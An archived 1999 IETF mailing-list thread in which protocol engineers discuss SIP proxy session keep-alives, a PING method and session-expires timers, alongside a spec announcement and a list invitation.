Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA24186
	for <confctrl@isi.edu>; Wed, 20 Jan 1999 13:06:16 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Wed Jan 20 16:05:53 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.68])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id QAA03092
	for <confctrl@isi.edu>; Wed, 20 Jan 1999 16:05:51 -0500 (EST)
Message-ID: <36A644F9.38495BF1@dnrc.bell-labs.com>
Date: Wed, 20 Jan 1999 16:04:57 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: New SIP spec
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

Many of you probably saw the notice about the SIP -12 spec. Its the
result of additional feedback and discussion with the IESG. The only
real change is the DNS procedures, which have been simplified and done
in such a way so as not to "step on the toes" of SRV records. We're
hoping for an IESG decision on this draft soon.

Thanks,
Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Jan 21 08:21:09 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA01442
	for confctrl-outgoing; Thu, 21 Jan 1999 08:21:09 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA01437
	for <confctrl@zephyr.isi.edu>; Thu, 21 Jan 1999 08:21:07 -0800 (PST)
Received: from node21.frontiernet.net (node21.frontiernet.net [209.130.129.196])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA04811
	for <confctrl@isi.edu>; Thu, 21 Jan 1999 08:21:05 -0800 (PST)
Received: from mark (srv-10-22.roc.ny.frontiernet.net [209.130.132.31])
	by node21.frontiernet.net (8.8.8a/8.8.8) with SMTP id LAA275310;
	Thu, 21 Jan 1999 11:10:18 -0500
From: "Mark Hewitt" <mark@hewitt.net>
To: <mark@hewitt.net>
Subject: IP Telephony List
Date: Thu, 21 Jan 1999 11:10:32 -0500
Message-ID: <001601be4558$92488f60$de085292@mark>
MIME-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

You have been invited to join the following list the Telephony.Net
Postoffice:

List Name        : IP Telephony
List Description : IP Telephony developments and news
URL              : http://www.telephony.net


After signing up, you may cancel your subscription at anytime.

IP Telephony.Net is dedicated to the exchange of information and ideas
leading to the evolution of the Next Generation network and applications.
This is a non-commercial site where your contributions in ideas and dialog
are the only requests.

Thank You,

Mark Hewitt
mark@hewitt.net

"The greatest power that a person posseses is the power to choose."
(J.Martin Kohe)


From confctrl-owner  Thu Jan 21 10:16:39 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA05762
	for confctrl-outgoing; Thu, 21 Jan 1999 10:16:39 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA05757
	for <confctrl@zephyr.isi.edu>; Thu, 21 Jan 1999 10:16:38 -0800 (PST)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA14606
	for <confctrl@ISI.EDU>; Thu, 21 Jan 1999 10:16:37 -0800 (PST)
Received: from cosexch002.mcit.com (cosexch002.mcit.com [166.37.27.89])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id SAA31250; Thu, 21 Jan 1999 18:12:17 GMT
Received: by cosexch002.mcit.com with Internet Mail Service (5.5.2232.9)
	id <DLH6P745>; Thu, 21 Jan 1999 11:12:28 -0700
Message-ID: <CA6966C24AC6D111B5A100805FEAB7D85773B5@nsrip00208.mcit.com>
From: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
To: "'Jonathan Rosenberg'" <jdrosen@dnrc.bell-labs.com>,
        Henning Schulzrinne
	 <hgs@cs.columbia.edu>
Cc: TDorcey@ixl.com, Adam.Roach@Ericsson.com, confctrl@ISI.EDU
Subject: RE: Proxy Server Inconsistencies
Date: Thu, 21 Jan 1999 11:12:28 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE4569.9AE93A32"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE4569.9AE93A32
Content-Type: text/plain;
	charset="ISO-8859-1"

It seems like there are three options for a SIP extension draft that would
address the problem of a stateful proxy being able to determine whether or
not sessions are still active.

1) Add a user agent based session keep alive message (I'm still involved in
this session).  The proxy would tear down the session if the keep alive was
not received within a predefined timer.  

2) Add a proxy based session ping message (Are you still involved in this
session).  The proxy would wait for a response to the ping request.  If no
response is received within a predefined time then the proxy would tear down
the session.

3) Adding a session expires parameter to the Invite.  The expires time could
be updated with a subsequent invite for the session.  The proxy would have
the ability to tear down the session when the session time has expired.
This would presumably be achieved by the proxy sending a BYE to both parties
involved in the call.  There may be the need for a maximum session expires
duration to prevent a user agent from specifying the year 2100 as the
expires time of a session.

All three approaches add to the complexity of the user agent and proxy,
however only marginally.

The third approach seems to minimize the amount of messaging required.

Based on those two criteria, the third option seems preferable.  Are there
other options and criteria that should be factored into the analysis?

Steve

> -----Original Message-----
> From:	Jonathan Rosenberg [SMTP:jdrosen@dnrc.bell-labs.com]
> Sent:	Wednesday, January 20, 1999 2:27 PM
> To:	Henning Schulzrinne
> Cc:	TDorcey@ixl.com; Adam.Roach@Ericsson.com; confctrl@ISI.EDU
> Subject:	Re: Proxy Server Inconsistancies
> 
> Henning Schulzrinne wrote:
> > 
> 
> > > I understand the point that a SIP keep alive would typically be
> redundant
> > > with media exchange, but I don't believe this is universally true.
> E.g.,
> > > suppose I want to monitor a sleeping infant, and I use a media
> encoding
> > > that doesn't transmit anything during periods of inactivity.  I can
> imagine
> > > other "shared presence" applications, where little media is exchanged,
> the
> > > point is in the potential.  I don't believe a media transport agent
> has any
> > > intrinsic "keep alive" responsibilities; it simply must insure that
> WHEN it
> > > is transmitting data, there is someone to receive it.  What needs to
> be
> > > "kept alive" (or, actually, allowed to time-out) is the "in
> conference"
> > > state.  I don't think we can assume that the desired liveliness of the
> "in
> > > conference" state is proportional to the liveliness of the media
> exchange.
> > >
> > > How about something like a DURATION or TTL parameter on the INVITE?
> So,
> > > the meaning would be something like "I invite you to be in conference
> with
> > > me for the next 4 minutes."  Re-INVITEs would need to be sent
> periodically
> > > to keep the conference going.  I have not got into the spec enough to
> > > understand all of the implications of this, but it seems
> straightforward in
> > > principle.
> > 
> > Note that the session description (at least for SDP) already has
> > duration information. INVITE does have an Expires header. See the
> > following text:
> > 
> > For {\INVITE} requests, it is a request and response-header field.  In a
> > request, the caller can limit the validity of an invitation, for
> > example, if a client wants to limit the time duration of a search or a
> > conference invitation.  A user interface {\MAY} take this as a hint to
> > leave the invitation window on the screen even if the user is not
> > currently at the workstation.  This also limits the duration of a
> > search.  If the request expires before the search completes, the proxy
> > returns a 408 (Request Timeout) status.  In a 302 (Moved Temporarily)
> > response, a server can advise the client of the maximal duration of the
> > redirection.
> 
> The Expires header is close but not the same thing we are talking about,
> though. Expires limits the duration of the invitation, not the session.
> Once the invitation is accepted, the Expires header has no meaning. 
> 
> -Jonathan R.
> -- 
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX: (732) 834-5379                         Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen

------_=_NextPart_001_01BE4569.9AE93A32
Content-Type: text/html;
	charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2232.0">
<TITLE>RE: Proxy Server Inconsistencies</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">It seems like =
there are three options for a SIP extension draft that would address =
the problem of a stateful proxy being able to determine whether or not =
sessions are still active.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">1) Add a user =
agent based session keep alive message (I'm still involved in this =
session).&nbsp; The proxy would tear down the session if the keep alive =
was not received within a predefined timer.&nbsp; </FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">2) Add a proxy =
based session ping message (Are you still involved in this =
session).&nbsp; The proxy would wait for a response to the ping =
request.&nbsp; If no response is received within a predefined time then =
the proxy would tear down the session.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">3) Adding a =
session expires parameter to the Invite.&nbsp; The expires time could =
be updated with a subsequent invite for the session.&nbsp; The proxy =
would have the ability to tear down the session when the session time =
has expired.&nbsp; This would presumably be achieved by the proxy =
sending a BYE to both parties involved in the call.&nbsp; There may be =
the need for a maximum session expires duration to prevent a user agent =
from specifying the year 2100 as the expires time of a =
session.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">All three =
approaches add to the complexity of the user agent and proxy, however =
only marginally.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">The third =
approach seems to minimize the amount of messaging required.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">Based on those =
two criteria, the third option seems preferable.&nbsp; Are there other =
options and criteria that should be factored into the =
analysis?</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">Steve</FONT>
</P>
<UL>
<P><FONT SIZE=3D1 FACE=3D"Arial">-----Original Message-----</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">From:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Jonathan Rosenberg =
[SMTP:jdrosen@dnrc.bell-labs.com]</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">Sent:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Wednesday, January 20, 1999 2:27 PM</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">Henning Schulzrinne</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Cc:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">TDorcey@ixl.com; Adam.Roach@Ericsson.com; =
confctrl@ISI.EDU</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT>=
</B> <FONT SIZE=3D1 FACE=3D"Arial">Re: Proxy Server =
Inconsistancies</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Henning =
Schulzrinne wrote:</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; &gt; I =
understand the point that a SIP keep alive would typically be =
redundant</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; &gt; =
with media exchange, but I don't believe this is universally =
true.&nbsp; E.g.,</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; &gt; =
suppose I want to monitor a sleeping infant, and I use a media =
encoding</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; &gt; =
that doesn't transmit anything during periods of inactivity.&nbsp; I =
can imagine</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; &gt; =
other &quot;shared presence&quot; applications, where little media is =
exchanged, the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; &gt; =
point is in the potential.&nbsp; I don't believe a media transport =
agent has any</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; &gt; =
intrinsic &quot;keep alive&quot; responsibilities; it simply must =
insure that WHEN it</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; &gt; is =
transmitting data, there is someone to receive it.&nbsp; What needs to =
be</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; &gt; =
&quot;kept alive&quot; (or, actually, allowed to time-out) is the =
&quot;in conference&quot;</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; &gt; =
state.&nbsp; I don't think we can assume that the desired liveliness of =
the &quot;in</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; &gt; =
conference&quot; state is proportional to the liveliness of the media =
exchange.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
&gt;</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; &gt; How =
about something like a DURATION or TTL parameter on the INVITE?&nbsp; =
So,</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; &gt; the =
meaning would be something like &quot;I invite you to be in conference =
with</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; &gt; me =
for the next 4 minutes.&quot;&nbsp; Re-INVITEs would need to be sent =
periodically</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; &gt; to =
keep the conference going.&nbsp; I have not got into the spec enough =
to</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; &gt; =
understand all of the implications of this, but it seems =
straightforward in</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; &gt; =
principle.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; Note =
that the session description (at least for SDP) already has</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; duration =
information. INVITE does have an Expires header. See the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
following text:</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; For =
{\INVITE} requests, it is a request and response-header field.&nbsp; In =
a</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; request, =
the caller can limit the validity of an invitation, for</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; example, =
if a client wants to limit the time duration of a search or a</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
conference invitation.&nbsp; A user interface {\MAY} take this as a =
hint to</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; leave =
the invitation window on the screen even if the user is not</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
currently at the workstation.&nbsp; This also limits the duration of =
a</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
search.&nbsp; If the request expires before the search completes, the =
proxy</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; returns =
a 408 (Request Timeout) status.&nbsp; In a 302 (Moved =
Temporarily)</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
response, a server can advise the client of the maximal duration of =
the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
redirection.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">The Expires =
header is close but not the same thing we are talking about,</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">though. =
Expires limits the duration of the invitation, not the session.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Once the =
invitation is accepted, the Expires header has no meaning. </FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">-Jonathan =
R.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">-- </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Jonathan D. =
Rosenberg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Lucent Technologies</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Member of =
Technical =
Staff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 101 Crawfords Corner =
Rd.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">High Speed =
Networks =
Research&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp; Holmdel, NJ 07733</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">FAX: (732) =
834-5379&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp; Rm. 4C-526</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">EMAIL: =
jdrosen@bell-labs.com</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">URL:</FONT><U> <FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier =
New"><A HREF=3D"http://www.cs.columbia.edu/~jdrosen" =
TARGET=3D"_blank">http://www.cs.columbia.edu/~jdrosen</A></FONT></U>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01BE4569.9AE93A32--

From confctrl-owner  Thu Jan 21 13:20:19 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA12974
	for confctrl-outgoing; Thu, 21 Jan 1999 13:20:19 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA12969
	for <confctrl@zephyr.isi.edu>; Thu, 21 Jan 1999 13:20:18 -0800 (PST)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA06783
	for <confctrl@ISI.EDU>; Thu, 21 Jan 1999 13:20:17 -0800 (PST)
Received: from mr4.exu.ericsson.se ([138.85.11.56])
	by gwu.ericy.com (8.8.8/8.8.8) with ESMTP id PAA21633;
	Thu, 21 Jan 1999 15:21:24 -0600 (CST)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id PAA28736;
	Thu, 21 Jan 1999 15:19:46 -0600 (CST)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id PAA19912; Thu, 21 Jan 1999 15:19:39 -0600 (CST)
Received: (exuadam@localhost) by b04a24.exu.ericsson.se (8.8.2/8.6.12) id PAA08218; Thu, 21 Jan 1999 15:20:52 -0600 (CST)
Message-Id: <199901212120.PAA08218@b04a24.exu.ericsson.se>
Subject: Re: Proxy Server Inconsistencies
To: Steven.R.Donovan@mci.com (Donovan Steven R.)
Date: Thu, 21 Jan 1999 15:20:51 -0600 (CST)
Cc: confctrl@ISI.EDU
In-Reply-To: <CA6966C24AC6D111B5A100805FEAB7D85773B5@nsrip00208.mcit.com> from "Donovan, Steven R." at Jan 21, 99 11:12:28 am
From: Adam.Roach@Ericsson.com (Adam B. Roach)
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>From: Henning Schulzrinne <hgs@cs.columbia.edu>
>I don't think there's any reasonable way to prevent DOS attacks except
>possibly to keep track of call states owned by a single previous hop and
>take protective measures if this number exceeds some threshold. 
>...
>I don't think that keep-alives can protect against DOS attacks.

Not by themselves; they can, however, add a requirement that the
"attacker" have sufficient resources to not only send the initiation
messages, but also to respond to the subsequent PINGs. I don't see
PING as a solution to the problem (that needs to be addressed more
at the level of a site-wide security policy) as much as a built-in
deterrent in the case of overly-simplistic or misconfigured proxies.

[And, in a different message]

>On a more tactical note, I would think that given the uncertainty as to
>what's desired, we should not try to modify the current spec, about to
>be declared a proposed standard, but rather work on an extension, since
>SIP has a pretty clean method of adding those. We can then experiment
>with different options and proceed as we gain confidence in the
>solution.

Given that support of any keepalive mechanism should be mandatory
in order to be at all useful, it seems a bit shortsighted to leave 
it out of the first version of the specification, does it not?

---------------------------------------------------------------------------

>From: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
>
>It seems like there are three options for a SIP extension draft that would
>address the problem of a stateful proxy being able to determine whether or
>not sessions are still active.
>
>1) Add a user agent based session keep alive message (I'm still involved in
>this session).  The proxy would tear down the session if the keep alive was
>not received within a predefined timer.  

(e.g. SUBSCRIBE/NOTIFY) 

While such a mechanism would solve the problem within the current
framework of the protocol, there are a couple of issues:

a) As I mentioned above, to be useful, a keep-alive must be
   mandatory (otherwise, you'll have some stateful proxy servers unable
   to interoperate with clients which are compliant or conditionally
   compliant). SUBSCRIBE and NOTIFY should probably remain optional
   for a client due to their level of complexity. (Could we even
   make them mandatory, since they're in a separate document?)

b) This implementation requires the addition of timers in a client.
   Currently, a simple, single-threaded client without re-entrancy or
   complicated signal handling is possible. By adding a timer
   requirement on the clients, this all changes.

As Henning has pointed out, simply making parts of the specification
mandatory does not make them happen. More difficult parts of the
standard will go unimplemented in many cases, regardless of the
strength of the requirement on paper.

>2) Add a proxy based session ping message (Are you still involved in this
>session).  The proxy would wait for a response to the ping request.  If no
>response is received within a predefined time then the proxy would tear down
>the session.

 From an implementation point of view, this adds only the requirement
to handle one more message, in a method very similar to other messages.
In fact, for most client implementations, the code to handle a PING
can be identical to that handling a BYE, except without cancelling
a session. Supporting this additional method would require a single 
well-placed "break" or "return" statement, in most cases. (Not to
let my language bias show through, but I think it gets the idea across).

>3) Adding a session expires parameter to the Invite.  The expires time could
>be updated with a subsequent invite for the session.  The proxy would have
>the ability to tear down the session when the session time has expired.
>This would presumably be achieved by the proxy sending a BYE to both parties
>involved in the call.  There may be the need for a maximum session expires
>duration to prevent a user agent from specifying the year 2100 as the
>expires time of a session.

a) As in option 1), this adds substantial complication to the client
   implementation, through the use of timers which interrupt other
   processing (since the client must re-INVITE periodically). 

b) This solution pushes the decision to send keep-alive messages from 
   the proxies down into the clients. In most cases, the clients can 
   negotiate this directly through some more appropriate level, such 
   as a media exchange.

>The third approach seems to minimize the amount of messaging required.

I'm not sure how; for each call-confirmation period, there would be
three messages passed back and forth (INVITE, response, ACK). This
looks like it is the most message-intensive proposal so far.

(Actually, a non-recurring SUBSCRIBE/NOTIFY implementation would be
even more expensive, requiring a four message "SUBSCRIBE, response,
NOTIFY, response" sequence).

>Based on those two criteria, the third option seems preferable.  Are there
>other options and criteria that should be factored into the analysis?

I think that the addition of a method which is mandatory for UAS
implementations should be as simple as possible, to ensure universal
support. As we've seen in other protocols, even if a requirement
is considered mandatory, if it is too difficult then it will fall
between the cracks for enough clients to be useless for the others.

If message overhead is such a major concern, we could define a behaviour
for PING that results in one message per period in a compliant case,
and two per period in a conditionally compliant case. By adding a
header to the ping method, "Period," we can request that the client
re-send a ping response every n seconds. If the proxy fails to hear
from the client within that time period, it re-sends a PING. By making
support of the "Period" header a SHOULD, we allow simple clients to
wait for the proxy retransmission, while giving more savvy clients
the capability to cut down on network traffic by sending pre-emptive
responses. The only problem with this is that it introduces the
concept of multiple final responses for a message (unless we add
a 1xx-class message as the recurring response to a PING -- which
may be a useful differentiation anyway, since it will let the
requesting server know whether to expect future periodic responses).

(For those not wanting to add another header, re-use of "Expires"
or "Retry-After" might be possible, if a bit inconsistant.)

/a

From confctrl-owner  Thu Jan 21 13:26:21 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA13125
	for confctrl-outgoing; Thu, 21 Jan 1999 13:26:21 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA13120
	for <confctrl@zephyr.isi.edu>; Thu, 21 Jan 1999 13:26:20 -0800 (PST)
Received: from ndcrelay2.mcit.com (ndcrelay2.mcit.com [166.37.172.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA07325
	for <confctrl@ISI.EDU>; Thu, 21 Jan 1999 13:26:19 -0800 (PST)
Received: from omta2.mcit.com (omta2.mcit.com [166.37.204.3])
          by ndcrelay2.mcit.com (8.8.7/) with ESMTP
	  id VAA24624; Thu, 21 Jan 1999 21:23:05 GMT
Received: from localHost ([166.44.153.201]) by omta2.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990121212547.BBTK5654@localHost>;
          Thu, 21 Jan 1999 15:25:47 -0600
Date: Thu, 21 Jan 1999 15:20 -0600 (CST)
From: John Hearty <John.H.Hearty@mci.com>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
To: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
CC: confctrl@ISI.EDU
Subject: RE: Proxy Server Inconsistencies
Message-Id: <19990121212547.BBTK5654@localHost>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>There may be the need for a maximum session expires
>duration to prevent a user agent from specifying the year 2100 as the
>expires time of a session.

 If approach #3 was pursued, a minimum value for the session expires
duration would also be needed so applications don't overload SIP servers
sending updated INVITEs once a second, for example.  Users might otherwise
want it low to minimize charges for sessions dropped without a BYE for
some reason.  Without such a minimum, you might loose the benefit of
minimizing messaging option #3 gives us.  This idea would also apply
to timer values in the other options as well.

John Hearty
MCI Worldcom
Global Network Evolution



Date: Thu, 21 Jan 1999 12:12 -0600 (CST)
From: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
To: "'Jonathan Rosenberg'" <jdrosen@dnrc.bell-labs.com>,
    Henning Schulzrinne <hgs@cs.columbia.edu>
CC: TDorcey@ixl.com,
    Adam.Roach@Ericsson.com,
    confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Subject: RE: Proxy Server Inconsistencies

It seems like there are three options for a SIP extension draft that would
address the problem of a stateful proxy being able to determine whether or
not sessions are still active.

1) Add a user agent based session keep alive message (I'm still involved in
this session).  The proxy would tear down the session if the keep alive was
not received within a predefined timer.  

2) Add a proxy based session ping message (Are you still involved in this
session).  The proxy would wait for a response to the ping request.  If no
response is received within a predefined time then the proxy would tear down
the session.

3) Adding a session expires parameter to the Invite.  The expires time could
be updated with a subsequent invite for the session.  The proxy would have
the ability to tear down the session when the session time has expired.
This would presumably be achieved by the proxy sending a BYE to both parties
involved in the call.  There may be the need for a maximum session expires
duration to prevent a user agent from specifying the year 2100 as the
expires time of a session.

All three approaches add to the complexity of the user agent and proxy,
however only marginally.

The third approach seems to minimize the amount of messaging required.

Based on those two criteria, the third option seems preferable.  Are there
